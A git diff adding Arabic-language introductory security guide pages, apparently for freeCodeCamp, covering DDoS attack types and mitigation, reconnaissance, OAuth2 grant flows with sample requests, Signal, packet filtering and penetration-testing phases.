+*   **ICMP Flood** - وهذا يشبه الفيضان UDP ويستخدم لإغراق مضيف بعيد مع العديد من طلبات ICMP Echo. يمكن أن يستهلك هذا النوع من الهجمات كلاً من النطاق الترددي الصادر والوارد وسيؤدي عدد كبير من طلبات ping إلى تباطؤ النظام بشكل عام.
+    
+*   **HTTP Flood** - يقوم المهاجم بإرسال طلبات HTTP GET و POST إلى خادم ويب مستهدف في وحدة تخزين كبيرة لا يمكن معالجتها بواسطة الخادم ويؤدي إلى رفض الاتصالات الإضافية من العملاء الشرعيين.
+    
+*   **هجوم التضخيم** - يقوم المهاجم بعمل طلب يقوم بإنشاء استجابة كبيرة تتضمن طلبات DNS لسجلات TXT الكبيرة وطلبات HTTP GET لملفات كبيرة مثل الصور أو ملفات PDF أو أي ملفات بيانات أخرى.
+    
+
+### هجمات بروتوكول
+
+هجمات بروتوكول تشمل فيضانات SYN ، Ping of Death ، هجمات حزمة مجزأة ، Smurf DDoS ، إلخ. هذا النوع من الهجوم يستهلك موارد الخادم الفعلية والموارد الأخرى مثل جدران الحماية وموازن التحميل. يتم قياس حجم الهجوم في الحزم في الثانية.
+
+*   **DNS Flood** - يتم استخدام فيضانات نظام أسماء النطاقات لمهاجمة كل من البنية الأساسية وتطبيق نظام أسماء النطاقات لإفشال النظام المستهدف واستهلاك جميع النطاق الترددي للشبكة المتوفرة.
+    
+*   **SYN Flood** - يقوم المهاجم بإرسال طلبات اتصال TCP بشكل أسرع من معالجة الجهاز المستهدف ، مما يؤدي إلى تشبع الشبكة. يمكن للمسؤولين تعديل كدسات TCP للتخفيف من تأثير فيضانات SYN. لتقليل تأثير فيض SYN ، يمكنك تقليل المهلة حتى تحرر المكدس الذاكرة المخصصة للاتصال ، أو إسقاط الاتصالات الواردة بشكل انتقائي باستخدام جدار حماية أو iptables.
+    
+*   **Ping of Death** - يرسل المهاجم الحزم غير الصحيحة أو كبيرة الحجم باستخدام أمر ping بسيط. يسمح IP بإرسال حزم بايت 65.535 ولكن إرسال حزمة ping أكبر من 65.535 بايت ينتهك بروتوكول الإنترنت ويمكن أن يتسبب في تجاوز الذاكرة على النظام المستهدف وتحطم النظام في النهاية. لتجنب هجمات Ping of Death ومتغيراتها ، تقوم العديد من المواقع بمنع رسائل ping الخاصة بـ ICMP بشكل كامل في جدران الحماية الخاصة بها.
+    
+
+### هجمات طبقة التطبيق
+
+تشمل هجمات طبقة التطبيق Slowloris ، هجمات DDoS بدون الصفر ، هجمات DDoS التي تستهدف نقاط الضعف Apache أو Windows أو OpenBSD وأكثر من ذلك. هنا الهدف هو تحطيم خادم الويب. يتم قياس حجم الهجوم في الطلبات في الثانية.
+
+*   **هجوم التطبيق** - يُسمى هذا أيضًا "هجوم الصف 7" ، حيث يقوم المهاجم بتسجيل الدخول الزائد ، أو البحث في قاعدة البيانات ، أو طلبات البحث لزيادة التحميل على التطبيق. من الصعب اكتشاف هجمات Layer 7 لأنها تشبه حركة مرور الموقع الشرعية.
+    
+*   **Slowloris** - يرسل المهاجم عددًا كبيرًا من رؤوس HTTP إلى خادم ويب مستهدف ، ولكنه لا يكمل طلبًا مطلقًا. يحافظ الخادم المستهدف على فتح كل من هذه الاتصالات الخاطئة ويؤدي في النهاية إلى تجاوز الحد الأقصى لمجموع الاتصال المتزامن ، ويؤدي إلى رفض الاتصالات الإضافية من العملاء الشرعيين.
+    
+*   **تضخيم NTP** - يقوم المهاجم باستغلال خوادم بروتوكول وقت الشبكة (NTP) التي يمكن الوصول إليها علنًا لإرباك الخادم المستهدف بحركة بروتوكول مخطط بيانات المستخدم (UDP).
+    
+*   **هجمات DDoS ذات يوم** صفر - الثغرة يوم الصفر هي عيب في النظام أو التطبيق لم تكن معروفة من قبل للمورد ، ولم يتم إصلاحها أو تصحيحها. هذه أنواع جديدة من الهجمات تظهر يومًا بعد يوم ، على سبيل المثال ، استغلال نقاط الضعف التي لم يتم تحريرها بعد.
+    
+
+### كيفية إصلاح هجوم DDoS
+
+هناك عدد غير قليل من خيارات حماية DDoS التي يمكنك تطبيقها وفقًا لنوع هجوم DDoS.
+
+تبدأ حماية DDoS من تحديد وإغلاق جميع الثغرات الأمنية المحتملة في نظام التشغيل والتطبيقات في نظامك ، وإغلاق جميع المنافذ المحتملة ، وإزالة الوصول غير الضروري من النظام وإخفاء الخادم الخاص بك من خلال نظام وكيل أو CDN.
+
+إذا كنت ترى حجمًا منخفضًا لـ DDoS ، فبإمكانك العثور على العديد من الحلول المستندة إلى جدار الحماية والتي يمكن أن تساعدك في تصفية حركة DDoS القائمة. ولكن إذا كان لديك حجم كبير من هجمات DDoS مثل gigabits أو حتى أكثر من ذلك ، فيجب أن تحصل على مساعدة من مزود خدمة حماية DDoS يقدم أسلوبًا أكثر شمولية واستباقية وأصيلة.
+
+يجب توخي الحذر عند الاقتراب من مقدم خدمة حماية DDoS وتحديده. هناك عدد من مقدمي الخدمات الذين يرغبون في الاستفادة من موقفك. إذا أبلغتهم بأنك تحت هجوم DDoS ، فسيبدأون في تقديم مجموعة متنوعة من الخدمات بتكاليف باهظة بشكل غير معقول.
+
+يمكننا أن نقترح عليك حلًا بسيطًا وعمليًا يبدأ بالبحث عن موفر جيد لحلول نظام أسماء النطاقات يتسم بالمرونة الكافية لتهيئة سجلات A و CNAME لموقعك على الويب. ثانيًا ، ستحتاج إلى موفر CDN جيد يمكنه التعامل مع حركة DDoS كبيرة ويوفر خدمة حماية DDoS كجزء من حزمة CDN الخاصة بها.
+
+نفترض أن عنوان IP لخادمك هو AAA.BBB.CCC.DDD. ثم يجب عليك القيام بتوصيف DNS التالي -
+
+*   قم بإنشاء سجل A في ملف منطقة DNS كما هو موضح أدناه بمعرّف DNS ، على سبيل المثال ، ARECORDID وإبقائه سراً من العالم الخارجي.
+*   اطلب الآن من مزود خدمة CDN ربط معرف DNS الذي تم إنشاؤه بعنوان URL ، مثل cdn.someotherid.domain.com.
+*   ستستخدم cdn URL cdn.someotherid.domain.com لإنشاء سجلين CNAME ، أولهما يشير إلى www والسجل الثاني للإشارة إلى @ كما هو موضح أدناه.
+
+يمكنك الحصول على المساعدة من مسؤول النظام الخاص بك لفهم هذه النقاط وتكوين DNS و CDN بشكل مناسب. أخيرا ، سيكون لديك التكوين التالي على DNS الخاص بك.
+
+### معلومات اكثر
+
+*   [فهم هجمات الحرمان من الخدمة](https://www.us-cert.gov/ncas/tips/ST04-015)
+*   [تصور هجمات DDoS في جميع أنحاء العالم](http://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=17462&view=map "تصور هجمات DDoS في جميع أنحاء العالم")
+*   [Kotaku مقالة حول DDoS](https://kotaku.com/how-ddos-attacks-work-and-why-theyre-so-hard-to-stop-1676445620)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/footprinting-and-reconnaissance/index.md b/client/src/guide/arabic/security/footprinting-and-reconnaissance/index.md
new file mode 100644
index 0000000000..2bc6941bd3
--- /dev/null
+++ b/client/src/guide/arabic/security/footprinting-and-reconnaissance/index.md
@@ -0,0 +1,25 @@
+---
+title: Footprinting and Reconnaissance
+localeTitle: البصمة والاستطلاع
+---
+## البصمة والاستطلاع
+
+البصمة أو الاستطلاع هي عملية جمع معلومات حول الهدف قبل تنفيذ هجوم من قِبل مخترق. في مرحلة البصمة ، سيحاول المخترق جمع أكبر قدر ممكن من المعلومات حول الهدف والتي يمكن أن تكون مفيدة في الهجوم مثل:
+
+1.  تحديد نظام التشغيل
+2.  مسح الموانئ للكشف عن المنافذ المفتوحة للاستغلال
+3.  تستخدم استعلامات WHOIS لمعرفة معلومات المسجل عن خدمة معينة.
+4.  الزحف على شبكة الإنترنت لمعرفة المزيد عن الهدف.
+5.  جمع أرقام الهواتف وعناوين البريد الإلكتروني ومعلومات الموظفين وغيرها من المعلومات الداخلية.
+
+باختصار ، إن البصمة هي أول وأكثر مرحلة أساسية من اختبارات الاختراق التي بدونها قد يكون من الصعب جدًا إجراء الاختراق.
+
+لجمع المعلومات ، يمكن للمتسلل استخدام أدوات وتقنيات متنوعة مدرجة أدناه.
+
+1.  NSLOOKUP
+2.  NMAP
+3.  سام سبايد
+4.  متتبع
+5.  NeoTrace وغيرها الكثير.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/i2p/index.md b/client/src/guide/arabic/security/i2p/index.md
new file mode 100644
index 0000000000..32cc3b0554
--- /dev/null
+++ b/client/src/guide/arabic/security/i2p/index.md
@@ -0,0 +1,13 @@
+---
+title: I2P
+localeTitle: I2P
+---
+## مشروع الإنترنت غير المرئي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/security/i2p/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+ولد مشروع الإنترنت غير المرئي (I2P) في عام 2003. مجموعة من المتسللين ، وتطويرات والمهندسين المعماريين البرمجيات التي كان الهدف الرئيسي لإنشاء شبكة افتراضية خاصة ، ومقاومة لل الرقابة.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/index.md b/client/src/guide/arabic/security/index.md
new file mode 100644
index 0000000000..b6b523f821
--- /dev/null
+++ b/client/src/guide/arabic/security/index.md
@@ -0,0 +1,21 @@
+---
+title: Security
+localeTitle: الأمان
+---
+## الأمان
+
+أمن المعلومات (ويسمى أيضًا "infosec" أو "الأمن" فقط) يتعامل مع حراسة الأنظمة واختراقها.
+
+هذا هو مساحة هامة بشكل خاص في الوقت الحالي ، في أعقاب انتهاكات كبيرة مثل [خرق Equifax 2017](https://medium.freecodecamp.org/the-equifax-hack-and-how-to-protect-your-family-all-explained-in-5-minutes-a2b5187cb6c0) .
+
+غالباً ما يطلق على ممارسي أمن المعلومات "باحثون أمنيون" ، على الرغم من أنهم غالباً ما يشار إليهم باسم "المتسللين" من أجل اختراق الأنظمة.
+
+هناك "قراصنة القبعة البيضاء" (القراصنة الأخلاقيين) الذين يحاولون اكتشاف نقاط الضعف الجديدة وإطلاعهم على الأشخاص الذين يحتفظون بهذه الأنظمة ، والتي يطلق عليها "الكشف الأخلاقي". وغالباً ما يقومون بذلك من أجل المكانة في الميدان ، أو من أجل "مكافآت الخلل" التي خصصتها الشركات لتعويض الناس لمساعدتهم على اكتشاف نقاط الضعف.
+
+في قرصنة مثيرة للاهتمام على التكافؤ (على Blockhain Ethereum) ، استغل "قراصنة الكمبيوتر الأبيض" نقطة ضعف واستنزف جميع محافظ المال قبل أن يتمكن الهاكر الحقيقي من استغلال نفس الثغرة (دون استرداد الأموال): https: //medium.freecodecamp كافيه / أ-القراصنة-سرق-31M-من-الأثير كيف ذلك، وقع و-ما-هو-وسائل مقابل ethereum-9e5dc29e33ce. وقد أدى ذلك إلى خسارة قدرها 31 مليون دولار ، بدلا من خسارة تزيد عن 180 مليون دولار.
+
+هناك أيضا "قراصنة القبعة السوداء" الذين لا يكشفون عن نقاط الضعف التي يكتشفونها ، ويستخدمونها بدلاً من ذلك لإنشاء مآثر لمهاجمة أنظمة الناس ، أو بيع المآثر لأعلى مزايد. وغالباً ما يفعلون ذلك لسرقة البيانات التي يمكنهم الحصول عليها فدية ، أو إطلاق سراحهم في العلن لإحداث فوضى.
+
+يستخدم باحثو الأمن مجموعة متنوعة من الأساليب والأدوات ، والتي تمت مناقشتها في هذا القسم.
+
+على الرغم من أن القرصنة تشكل تهديدًا رئيسيًا لتطبيقات آمنة ، فهي ليست الوحيدة. يحتاج مطورو التطبيقات إلى موازنة تجربة المستخدم مع ميزات الأمان. بعض breches السيبرانية هي ذاتية التزمت بسبب تكوينات أمنية معقدة أو صعب إلى understadn. ما ميزات الأمان التي يجب تعيينها افتراضيًا؟ ما هي الميزات التي ينبغي أن تكون غير واضحة والتي ينبغي أن تتطلب موافقة المستخدم؟
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/oauth2/index.md b/client/src/guide/arabic/security/oauth2/index.md
new file mode 100644
index 0000000000..1047bd61fb
--- /dev/null
+++ b/client/src/guide/arabic/security/oauth2/index.md
@@ -0,0 +1,180 @@
+---
+title: OAuth2 Protocol
+localeTitle: بروتوكول OAuth2
+---
+## OAuth 2.0
+
+[بروتوكول OAuth 2.0](https://tools.ietf.org/html/rfc6749) عبارة عن بروتوكول تفويض قياسي في الصناعة ، والذي يمكّن تطبيق الجهة الخارجية من الوصول المحدود إلى الموارد نيابةً عن مالك الموارد (مستخدمو النظام)
+
+يتم استخدام OAuth على نطاق واسع في العديد من شركات الإنترنت الكبرى مثل Google و Facebook و Slack وغيرها
+
+**جدول المحتويات**
+
+*   معرفة أساسية
+*   بروتوكول التدفق
+*   أنواع منح التخويل
+*   المراجع
+
+### معرفة أساسية
+
+#### [الأدوار](https://tools.ietf.org/html/rfc6749#section-1.1)
+
+*   **مالك الموارد** : الشخص الذي يستخدم المنتج أو الخدمة (على سبيل المثال: أنت مالك الموارد في حساب Google الخاص بك)
+*   **خادم الموارد** : استضافة عملاء الخادم للبيانات المحمية (على سبيل المثال: Gmail لاستضافة رسائل البريد الإلكتروني الخاصة بك)
+*   **العميل** : تطبيق طلب الوصول إلى البيانات في خادم الموارد
+*   **خادم التفويض** : الخادم الذي يتعامل مع طلب التفويض ، يصدر رمز وصول إلى العميل الذي يطلبها. يمكن أن يكون هذا الخادم نفس خادم المصدر أو يمكن أن يكون خادمًا منفصلاً
+
+#### الرموز
+
+هناك نوعان من الرموز المميزة المحددة في OAuth 2.0
+
+*   **[رمز الدخول](https://tools.ietf.org/html/rfc6749#section-1.4)** : تُعد رموز الوصول جزءًا أساسيًا من OAuth حيث إنها تمكّن الوصول إلى بيانات المستخدم من أي تطبيق يحمل هذا الرمز. يحتوي هذا الرمز المميز على مدة محدودة يحددها خادم التفويض.
+*   **[تحديث الرمز المميز](https://tools.ietf.org/html/rfc6749#section-1.5)** : يتم إصدار هذا الرمز المميز كجزء من رمز الدخول ، نظرًا لأن رمز الدخول المميز محدود المدة ، وفي بعض الأحيان يحتاج تطبيق العميل إلى الوصول إلى بيانات المستخدم لفترة أطول (مثل: خدمات التكامل) ، وفي هذه الحالة ، يمكن أن يطلب تطبيق العميل رمزًا مميزًا للتحديث ، والذي يسمح لهم لتجديد رمز الدخول للحصول على رمز أحدث يحتاج إلى إعادة تفويض المستخدم.
+
+#### [Access Token Scope](https://tools.ietf.org/html/rfc6749#section-3.3)
+
+تسمح معلمة النطاق في طلب التفويض من قِبل العميل ، تطبيق العميل بتحديد نوع الموارد أو البيانات التي يريد الوصول إليها ، يتم تحديد النطاقات المتاحة بواسطة خادم التفويض ، وبمجرد اعتماده ، يتم إرفاق النطاقات المطلوبة برمز الوصول ، الرمز المميز للوصول إلى وصول محدود إلى بيانات المستخدم بدلاً من الوصول الكامل.
+
+### [بروتوكول التدفق](https://tools.ietf.org/html/rfc6749#section-1.2)
+
+![تدفق بروتوكول OAuth2](https://assets.digitalocean.com/articles/oauth/abstract_flow.png)
+
+### أنواع منح التخويل
+
+حدد OAuth2 4 أنواع من المنح للحصول على رموز الوصول استنادًا إلى طبيعة العميل.
+
+*   قانون التفويض
+*   التدفق الضمني
+*   بيانات اعتماد مالك المورد
+*   بيانات اعتماد العميل
+
+#### كود منح الترخيص
+
+طبيعة العميل:
+
+يمكن للعميل القادر على تخزين سر العميل بأمان (عادةً خادم ويب) ، استخدام هذه المنحة للحصول على إذن. يسمح هذا أيضًا بالحصول على رمز دخول طويل العمر مع المساعدة على تحديث الرمز المميز.
+
+على سبيل المثال: يطلب تطبيق الويب الوصول إلى معلومات مستخدم حساب Google
+
+تدفق مجردة
+
+![كود التفويض التدفق](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/authorization-code-flow.png)
+
+مثال الكود:
+
+طلب تفويض
+
+ `GET /oauth2/authorize?response_type=code 
+ &client_id=client123&scope=profile 
+ &redirect_uri=https://client.com/callback HTTP/1.1 
+ Host: auth.server.com 
+` 
+
+ `HTTP/1.1 302 Found 
+ Location: https://client.com/callback#code=sb8s6doy9bsd9sd&state=abcde 
+` 
+
+بعد تلقي رمز التفويض ، تقديم طلب خادم التفويض مع رمز ،
+
+ `POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=authorization_code 
+ &code=sb8s6doy9bsd9sd 
+ &redirect_uri=https://client.com/callback 
+ &client_id=client123 
+ &client_secret=secret 
+ &scope=profile 
+` 
+
+استجابة
+
+ `HTTP/1.1 200 OK 
+ Content-Type: application/json;charset=UTF-8 
+ Cache-Control: no-store 
+ Pragma: no-cache 
+ { 
+  "access_token":"gsi8d6fosb9d6fos6df", 
+  "token_type":"bearer", 
+  "expires_in":3600 
+ } 
+` 
+
+#### التدفق الضمني
+
+طبيعة العميل:
+
+تطبيق العميل الجاري تشغيله في المستعرض ، عادةً ما يتم تطبيق الواجهة الأمامية (مثل: SPA). لا يصدر هذا المنحة رمزًا مميزًا للتحديث.
+
+على سبيل المثال: تطبيق جافا سكريبت أمامي يعمل في المستعرض
+
+مجردة التدفق:
+
+![كود التفويض التدفق](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/implicit-flow.png)
+
+نموذج الكود:
+
+ `GET /oauth2/authorize?response_type=token 
+ &client_id=client123 
+ &redirect_uri=https://client.com/callback HTTP/1.1 
+ Host: auth.server.com 
+` 
+
+ `HTTP/1.1 302 Found 
+ Location: https://client.com/callback#access_token=98y2b38&token_type=bearer&expires_in=3600&state=abcde 
+` 
+
+#### بيانات اعتماد مالك المورد
+
+طبيعة العميل:
+
+في هذا التدفق ، يشارك مالك المورد بيانات الاعتماد الخاصة بهم (كلمة المرور) مع العميل ثم إلى خادم التفويض ، بحيث يتم استخدام هذه المنحة عندما تكون ثقتك المطلقة بين تطبيق العميل وخادم التخويل. وبالتالي ، فإن هذا التدفق غير مسموح به في الغالب لتطبيقات العميل الخارجية.
+
+على سبيل المثال: تطبيقات الهاتف المحمول Facebook باستخدام هذا التدفق للتفويض باستخدام Facebook Server
+
+مجردة التدفق:
+
+![بيانات اعتماد مالك المورد](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/resource-owner-password-flow.png)
+
+نموذج الكود:
+
+ `POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=password 
+ &username=john 
+ &password=abcde 
+` 
+
+#### بيانات اعتماد العميل التدفق
+
+طبيعة العميل:
+
+يتم استخدام هذا النوع من التفويض عندما يكون العميل نفسه مالك مورد (أي يريد العميل الوصول إلى حد الاستخدام أو المعلومات المتعلقة به). لا يوجد تفويض للمستخدم النهائي في هذا التدفق.
+
+على سبيل المثال: تطبيق العميل يطلب بيانات غير مستخدم من خوادم google (مثل: المناطق الزمنية والخرائط وغيرها)
+
+مجردة التدفق:
+
+![بيانات اعتماد العميل](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/client-credentials-flow.png)
+
+نموذج الكود:
+
+ `POST /oauth2/token HTTP/1.1 
+ Host: auth.server.com 
+ Content-Type: application/x-www-form-urlencoded 
+ 
+ grant_type=client_credentials 
+ &client_id=client123 
+ &client_secret=xyz123 
+` 
+
+### المراجع
+
+لمزيد من القراءة ، راجع
+
+*   [مسودة OAuth2](https://tools.ietf.org/html/rfc6749)
+*   [فهم OAuth2](http://www.bubblecode.net/en/2016/01/22/understanding-oauth2/)
+*   [إنشاء خادم اتصال openId الخاص بك](http://kevinchalet.com/2016/07/13/creating-your-own-openid-connect-server-with-asos-choosing-the-right-flows/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/open-whisper-and-signal/index.md b/client/src/guide/arabic/security/open-whisper-and-signal/index.md
new file mode 100644
index 0000000000..3c9b7f1fe0
--- /dev/null
+++ b/client/src/guide/arabic/security/open-whisper-and-signal/index.md
@@ -0,0 +1,13 @@
+---
+title: Open Whisper Systems and Signal
+localeTitle: فتح نظم الهمس والإشارة
+---
+## فتح نظم الهمس والإشارة
+
+Open Whisper Systems (اختصارًا باسم OWS) هي منظمة برمجيات تم تأسيسها من قبل Moxie Marlinspike في عام 2013. ويتمثل تركيزها الأساسي في تطوير بروتوكول الإشارة. يتم تمويل المنظمة من خلال مجموعة من التبرعات والمنح ، ويتم نشر جميع منتجاتها كبرامج مجانية ومفتوحة المصدر.
+
+كما يحافظ على تطبيق اتصالات مشفر يسمى Signal for Android و iOS. ويستخدم الإنترنت لإرسال رسائل فردية أو جماعية ، والتي يمكن أن تتضمن ملفات وملاحظات صوتية وصور ومقاطع فيديو وإجراء مكالمات صوتية ومكالمات فردية.
+
+تستخدم الإشارة أرقام الهواتف الخلوية القياسية كمعرفات ، وتستخدم التشفير من طرف إلى طرف لتأمين جميع الاتصالات لمستخدمي الإشارة الآخرين. وتشمل التطبيقات آليات يمكن للمستخدمين من خلالها التحقق بشكل مستقل من هوية مراسلي الرسائل الخاصة بهم وسلامة قناة البيانات.
+
+يتم نشر العملاء كبرامج مجانية ومفتوحة المصدر بموجب ترخيص GPLv3. يتم نشر رمز الخادم تحت رخصة AGPLv3.
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/packet-filtering/index.md b/client/src/guide/arabic/security/packet-filtering/index.md
new file mode 100644
index 0000000000..b97a04323c
--- /dev/null
+++ b/client/src/guide/arabic/security/packet-filtering/index.md
@@ -0,0 +1,15 @@
+---
+title: Packet Filtering
+localeTitle: تصفية الحزمة
+---
+## تصفية الحزمة
+
+تصفية الحزمة هي عملية تمرير الحزم أو حظرها على واجهة شبكة تعتمد على عناوين المصدر والوجهة أو المنافذ أو البروتوكولات. يتم استخدام العملية بالاقتران مع ترميز الحزمة وتعيين عنوان الشبكة (NAT). غالبًا ما تكون تصفية الحزم جزءًا من برنامج جدار حماية لحماية الشبكة المحلية من التطفل غير المرغوب فيه.
+
+### كيفية تحقيق تصفية الحزمة
+
+تحدد جدران الحماية لطبقة الشبكة مجموعات قواعد تصفية الحزمة التي توفر آليات أمان عالية الكفاءة. في برنامج جدار الحماية ، تتم تصفية الحزمة بواسطة برنامج يسمى عامل تصفية الحزمة. يفحص عامل تصفية الحزمة رأس كل حزمة استنادًا إلى مجموعة محددة من القواعد ، وعلى هذا الأساس ، يقرر منعها من المرور (يُسمى DROP) أو السماح لها بالمرور (يُسمى ACCEPT).
+
+### طرق التصفية
+
+هناك ثلاث طرق يمكن من خلالها تكوين مرشح حزم ، بمجرد تحديد مجموعة قواعد التصفية. في الطريقة الأولى ، يقبل المرشح فقط تلك الحزم التي هي آمنة بالتأكيد ، وإسقاط كل الآخرين. هذا هو الوضع الأكثر أمانًا ، ولكنه قد يسبب إزعاجًا إذا تم إسقاط الحزم الشرعية دون قصد. في الطريقة الثانية ، يقوم عامل التصفية بإسقاط الحزم غير المؤكدة فقط ، وقبول جميع الحزم الأخرى. هذا الوضع هو الأقل أمانًا ، ولكنه يسبب إزعاجًا أقل ، خاصة في تصفح الويب العادي. في الطريقة الثالثة ، إذا واجه المرشح حزمة لا توفر لها قواعدها تعليمات ، يمكن عزل هذه الحزمة ، أو يمكن الاستعلام عن المستخدم تحديدًا فيما يتعلق بما ينبغي عمله به. هذا يمكن أن يكون غير مريح إذا كان يؤدي إلى ظهور العديد من مربعات الحوار ، على سبيل المثال ، أثناء استعراض ويب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/security/penetration-testing/index.md b/client/src/guide/arabic/security/penetration-testing/index.md
new file mode 100644
index 0000000000..c285c350f6
--- /dev/null
+++ b/client/src/guide/arabic/security/penetration-testing/index.md
@@ -0,0 +1,65 @@
+---
+title: Penetration Testing
+localeTitle: اختبار الاختراق
+---
+اختبار الاختراق هو أسلوب تتبعه العديد من الشركات لتقليل انتهاكاتها الأمنية إلى أدنى حد. هذه طريقة مسيطر عليها لتوظيف شخص محترف سيحاول اختراق النظام الخاص بك وعرض الثغرات التي ينبغي عليك إصلاحها. يمكن لاختبار الاختراق أن يخفض من وقت لآخر الأنظمة ، ويجعل الشركة تفقد وقت التشغيل ، ومن أفضل الممارسات اختبار الاختراق على إصدار ما قبل الإنتاج لبيئة الإنتاج.
+
+قبل إجراء اختبار الاختراق ، يكون إلزاميًا أن يكون لديك اتفاقية تنص بوضوح على المعايير التالية -
+
+*   ماذا سيكون وقت اختبار الاختراق ،
+*   أين سيكون مصدر IP للهجوم ، و
+*   ما سيكون مجالات الاختراق للنظام.
+
+يتم إجراء اختبار الاختراق من قِبل المخترقين الأخلاقيين المحترفين الذين يستخدمون بشكل أساسي الأدوات التجارية والمفتوحة المصدر وأدوات التشغيل التلقائي والفحوصات اليدوية. لا توجد قيود. الهدف الأكثر أهمية هنا هو كشف أكبر عدد ممكن من العيوب الأمنية. تقدم العديد من الشركات الكبرى مكافآت لأي شخص يمكن أن يشير إلى نقاط الضعف الأمنية في أنظمته ، من خلال ما يسمى [ببرامج فضلاء الحشرات](https://en.wikipedia.org/wiki/Bug_bounty_program) . جوجل ، على سبيل المثال ، سوف تقدم عشرات الآلاف من الدولارات من خلال برنامج مكافأة الثغرات.
+
+## مراحل اختبار الاختراق
+
+هناك خمس مراحل رئيسية لاختبار الاختراق. هم انهم:
+
+1.  **استطلاع**
+    *   هذا هو المكان الذي يقوم فيه اختبار الاختراق بجمع أكبر قدر ممكن من المعلومات حول أهدافك المحتملة. بعض الطرق المستخدمة في هذه المرحلة هي البحث في Google / Bing ، وعمليات البحث عن whois ، وفحص Netcraft ، والهندسة الاجتماعية.
+2.  **مسح**
+    *   بمجرد أن يقوم مختبِر الاختراق بتجميع كل المعلومات وقرر أي هدف (أهداف) يرغبون في مهاجمته ، يجب عليهم التأكد من أن الهدف (الأهداف) هو قيد الحياة والمسح الضوئي لأشياء مثل المنافذ المفتوحة والخدمات النشطة وأية نقاط ضعف حالية أن النظام المستهدف مفتوح.
+3.  **استغلال**
+    *   بعد اكتمال المسح وتم تقييم نقاط الضعف ، يمكن لمخترق الاختراق استخدام تلك المعلومات لمعرفة متجه الهجوم. في هذه المرحلة ، يبحث اختبار الاختراق عن استغلال يستخدم أحد نقاط الضعف التي تم العثور عليها في المرحلة السابقة للوصول إلى النظام المستهدف.
+4.  **صيانة الوصول**
+    *   هذه المرحلة هي المكان الذي يضمن فيه اختبار الاختراق أنه سيكون لديه وقت كافٍ لاختبار النظام المستهدف. قد يحاولوا التحايل على أي إجراءات مضادة للكشف عن التطفل / الوقاية من أجل إنهاء اختباراتهم.
+5.  **تغطي المسارات**
+    *   بعد اكتمال الهجوم ، قد يقوم اختبار التخصيب باتخاذ خطوات لإخفاء عمليات التسلل الخاصة به ، وقد يترك وراءه وسيلة للوصول المستمر للسماح بإثبات المفهوم لعميله.
+
+## أنواع اختبار الاختراق
+
+لدينا خمسة أنواع من اختبارات الاختراق -
+
+1.  **Black Box** - هنا ، لا يملك الهاكر الأخلاقي أي معلومات بخصوص البنية التحتية أو شبكة المنظمة التي يحاول اختراقها. في اختبار اختراق الصندوق الأسود ، يحاول المخترق العثور على المعلومات من خلال وسائله الخاصة.
+    
+2.  **Gray Box** - هو نوع من اختبارات الاختراق حيث يمتلك الهاكر الأخلاقي معرفة جزئية بالبنية الأساسية ، مثل خادم اسم النطاق الخاص به.
+    
+3.  **الصندوق الأبيض** - في اختبار الاختراق على الصندوق الأبيض ، يتم تزويد المتسلل الأخلاقي بكل المعلومات الضرورية عن البنية التحتية وشبكة المنظمة التي يحتاج إليها لاختراقها.
+    
+4.  **اختبار الاختراق الخارجي** - يركز هذا النوع من اختبارات الاختراق بشكل رئيسي على البنية الأساسية للشبكة أو الخوادم الخاصة بها وبرمجياتها العاملة تحت البنية التحتية. في هذه الحالة ، يحاول القراصنة الأخلاقيون استخدام الشبكات العامة عبر الإنترنت. يحاول المخترق اختراق البنية الأساسية للشركة من خلال مهاجمة صفحات الويب ، أو خوادم الويب ، أو خوادم DNS العامة ، إلخ.
+    
+5.  **اختبار الاختراق الداخلي** - في هذا النوع من اختبارات الاختراق ، يكون الهاكر الأخلاقي داخل شبكة الشركة ويقوم بإجراء اختباراته من هناك.
+    
+
+يمكن أن يتسبب اختبار الاختراق أيضًا في حدوث مشكلات مثل خلل في النظام أو تعطل النظام أو فقد البيانات. لذلك ، يجب على الشركة أن تأخذ المخاطر المحسوبة قبل المضي قدمًا في اختبار الاختراق. يتم احتساب المخاطر على النحو التالي وهي مخاطر إدارية.
+
+**الخطر = التهديد × الضعف**
+
+## مثال
+
+لديك موقع إلكتروني للتجارة الإلكترونية على الإنترنت قيد الإنتاج. تريد القيام باختبار الاختراق قبل جعلها حية. هنا ، عليك أن تزن الإيجابيات والسلبيات أولاً. إذا كنت تمضي قدمًا في اختبار الاختراق ، فقد يؤدي ذلك إلى انقطاع الخدمة. على العكس من ذلك ، إذا كنت لا ترغب في إجراء اختبار الاختراق ، عندئذ يمكنك المخاطرة بوجود نقطة ضعف غير مثبتة ستبقى كتهديد طوال الوقت. قبل إجراء اختبار الاختراق ، يوصى بأن تضع نطاق المشروع كتابة. يجب أن تكون واضحًا بشأن ما سيتم اختباره. على سبيل المثال -
+
+*   لدى شركتك شبكة VPN أو أي تقنيات أخرى للوصول عن بعد وتريد اختبار هذه النقطة بعينها.
+*   يحتوي تطبيقك على خوادم الويب التي تحتوي على قواعد بيانات ، لذا قد ترغب في اختبارها لهجمات حقن SQL التي تعد واحدة من أهم الاختبارات على خادم الويب. بالإضافة إلى ذلك ، يمكنك التحقق مما إذا كان خادم الويب الخاص بك في مأمن من هجمات DoS.
+
+## نصائح سريعة
+
